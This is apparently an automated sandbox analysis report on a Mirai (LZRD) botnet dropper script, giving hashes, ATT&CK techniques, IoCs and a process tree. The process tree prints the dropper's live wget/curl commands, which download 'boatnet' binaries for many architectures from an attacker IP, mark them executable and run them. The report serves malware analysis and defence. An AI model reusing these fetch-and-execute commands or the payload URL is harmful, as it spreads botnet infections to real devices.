mirai | ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa

Analysis

max time kernel
149s
max time network
135s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-01-2025 17:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

2KB
MD5

2b26df4917fc623af81b73ca389f0fce
SHA1

9d1a15bf35f8518bef71a9e691d1c2c5cc705d67
SHA256

ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa
SHA512

2f118fc82120eed2f050c2c40f37cd4418ced6b8ab314cc0c371682f606d8df258550147e03976b70b45c4678ecb96b7e5db9f69e7b5453c140acb0ca1c9a93f

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
901	chmod
746	chmod
752	chmod
784	chmod
832	chmod
874	chmod
735	chmod
801	chmod
883	chmod
895	chmod
818	chmod
826	chmod
850	chmod
889	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	737	ohshit.sh
/tmp/WTF	747	ohshit.sh
/tmp/WTF	753	ohshit.sh
/tmp/WTF	769	ohshit.sh
/tmp/WTF	786	ohshit.sh
/tmp/WTF	802	ohshit.sh
/tmp/WTF	819	ohshit.sh
/tmp/WTF	827	ohshit.sh
/tmp/WTF	833	ohshit.sh
/tmp/WTF	851	ohshit.sh
/tmp/WTF	875	ohshit.sh
/tmp/WTF	884	ohshit.sh
/tmp/WTF	890	ohshit.sh
/tmp/WTF	896	ohshit.sh
/tmp/WTF	902	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 40 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/681/cmdline	WTF
File opened for reading	/proc/797/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/893/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/830/cmdline	WTF
File opened for reading	/proc/865/cmdline	WTF
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/434/cmdline	WTF
File opened for reading	/proc/702/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/669/cmdline	WTF
File opened for reading	/proc/804/cmdline	WTF
File opened for reading	/proc/813/cmdline	WTF
File opened for reading	/proc/822/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/679/cmdline	WTF
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/712/cmdline	WTF
File opened for reading	/proc/840/cmdline	WTF
File opened for reading	/proc/864/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/682/cmdline	WTF
File opened for reading	/proc/709/cmdline	WTF
File opened for reading	/proc/881/cmdline	WTF
File opened for reading	/proc/887/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/708/cmdline	WTF
File opened for reading	/proc/710/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	wget
744	curl
745	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm5	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:733
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/WTF
  ./WTF
  2⤵
  PID:737
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/WTF
  ./WTF
  2⤵
  PID:747
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:751
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/WTF
  ./WTF
  2⤵
  PID:753
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.i468
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:767
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/WTF
  ./WTF
  2⤵
  PID:769
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.i686
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:782
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/WTF
  ./WTF
  2⤵
  PID:786
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.x86_64
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:799
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/WTF
  ./WTF
  2⤵
  PID:802
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:805
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:816
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:819
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:823
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:825
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/WTF
  ./WTF
  2⤵
  PID:827
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:829
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:831
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/WTF
  ./WTF
  2⤵
  PID:833
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:835
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:849
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-f5bd9d7ffb5347baacbcea4aa33c894f-systemd-timedated.service-vNcyO0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/WTF
  ./WTF
  2⤵
  PID:851
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:872
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/WTF
  ./WTF
  2⤵
  PID:875
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:882
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/WTF
  ./WTF
  2⤵
  PID:884
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:888
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/WTF
  ./WTF
  2⤵
  PID:890
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:894
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/WTF
  ./WTF
  2⤵
  PID:896
- /usr/bin/wget
  wget http://178.215.238.156/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:898
- /usr/bin/curl
  curl -O http://178.215.238.156/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:900
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/WTF
  ./WTF
  2⤵
  PID:902

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/WTF

Filesize
23KB

MD5
f238b50fab82b72ec942240ea21e4b63

SHA1
a2b5b5b6d5ffa8f781eb12d995641ff26039fa32

SHA256
a12495b9df7c33ea0cfe8c10debd69be647203b3e7a5fe8fbdf2ed5c4ee0e0a3

SHA512
b1dcc8decbfac65af609a7d8fb47d9ef09991bcdc3188ae19e35ca91d502248854461c14c2b99e34a73538ad174bf3c481752aa56d782fc39d2737ca856df696

Download Submit
/tmp/WTF

Filesize
105KB

MD5
6753ff1005cbf935a157f164dde44287

SHA1
e1ba7ef5ec535682d54c11f877226668414387ca

SHA256
478a90d3e840d13ec54602d091a0def7614833865dcce67df97cdba0f9effe37

SHA512
fb7861aeef23d9d2c6308a092f44ba1ae2303a30180d0a43a5397ee9d63e14a8cad6cf73730386c645873c3679ba4a0cc899c4d8af87a78511f319a4117fb1c6

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

Download Submit
/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

Download Submit
/tmp/WTF

Filesize
57KB

MD5
b6aec3172367d08ebd4e7dfea7b1e712

SHA1
46301980f40739575530623413f9b897e088cb58

SHA256
0f616cc0b9a82598e97b93e16bc73a67146cd53e1668ea4ff745844a93c9f492

SHA512
dbabe77cf3424a3379a0d7ebf2c1ba541476719b17cfad43d99ceb3dc7eb77067e37319ec903236febb6e4d872084d00cea851ab2615b602afb6d319fa92126a

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
371a8089f0d9b997dede00d908f2d729

SHA1
4dc06821ff7cec56b2bc31f788084bc1e12af2d7

SHA256
02062dff2765a4d772fa31daea8de2db65ea363cebf6662fda7426fe56c93a2e

SHA512
ca1706b263af403bad3872fe29977b6c78725e707eaa0fb2d4f613bfb0f7dcf75a3196a444f49ed6eeac8120df8132b073b94ee2b0d6b6f77055d6200f65d754

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads